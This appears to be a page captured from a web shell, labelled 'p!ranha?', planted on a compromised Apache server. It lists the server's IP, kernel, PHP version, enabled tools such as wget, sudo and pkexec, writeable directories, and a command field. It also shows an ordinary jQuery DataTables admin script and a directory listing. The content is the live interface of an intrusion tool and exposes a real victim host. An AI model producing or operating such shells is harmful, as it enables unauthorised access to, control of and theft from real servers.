p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/newsigniter/application/views/back/pages/web/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/newsigniter/application/views/back/pages/web/contact-datatable.php
<script type="text/javascript">

   let tableContact;

   $(document).ready(function(){
      tableContact = $('#tableContact').DataTable({
         processing: true,
         serverSide: true,
         order: [],
         ajax: {
         'url': "<?= base_url('back/contact/ajax_list') ?>",
         'type': "POST"
         },
         columnDefs: [
            { 
               'targets': [0, 1, 2, 3], 
               'orderable': false, 
            }
         ],
      });
   });

   // Reload Table
   function reload_table(){
      tableContact.ajax.reload(null, false);
   }

   //Edit  
   function edit_contact(id){
      $('#form')[0].reset();

      $.ajax({
         url : '<?= base_url('back/contact/get_data/') ?>',
         data: {id: id},
         type: 'post',
         dataType: 'json',
         success: function(data){
            $('[name="id"]').val(data.id);
            $('[name="contact_name"]').val(data.contact_name);
            $('[name="description"]').val(data.description);

            $('.modal-title').text('Edit Kontak Website');
            $('#modalContact').modal('show');
         },
      });
   }

   // Save Button Modal
   function save(){
      $('#btn_save').text('Saving...');
      $('#btn_save').attr('disabled', true);

      $.ajax({
         type: 'post',
         dataType: 'json',
         url: '<?= base_url('back/contact/update') ?>',
         data: $('#form').serialize(),
         success: function(data){
         if(data.status){
            $('#modalContact').modal('hide');
            Swal.fire({
               icon: 'success',
               title: 'Success',
               showConfirmButton: true
            });
            tableContact.draw();
         }
         $('#btn_save').text('Save');
         $('#btn_save').attr('disabled', false);
         },
         error: function(){
         Swal.fire({
            icon: 'error',
            title: 'Oops...',
            text: 'Terjadi Suatu Kesalahan!',
            showConfirmButton: true
         });
         $('#modalContact').modal('hide');
         $('#btn_save').text('Save');
         $('#btn_save').attr('disabled', false);
         }
      }); 
   }

</script>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:10
0 / 0
0755
contact-datatable.php
2.142 KB
May 22 2021 15:56:56
0 / 0
0644
contact.php
2.271 KB
May 22 2021 13:10:10
0 / 0
0644
identity-datatable.php
3.04 KB
May 22 2021 15:57:02
0 / 0
0644
identity.php
3.404 KB
May 22 2021 13:10:24
0 / 0
0644